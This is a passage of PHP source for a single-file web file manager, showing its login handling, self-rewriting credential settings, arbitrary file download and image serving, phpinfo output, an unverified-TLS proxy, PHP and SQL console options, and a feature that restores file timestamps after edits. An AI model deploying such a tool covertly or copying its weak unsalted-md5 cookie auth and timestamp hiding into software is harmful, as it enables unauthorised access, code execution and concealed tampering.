<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>FileXXXXXXXXXXX</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
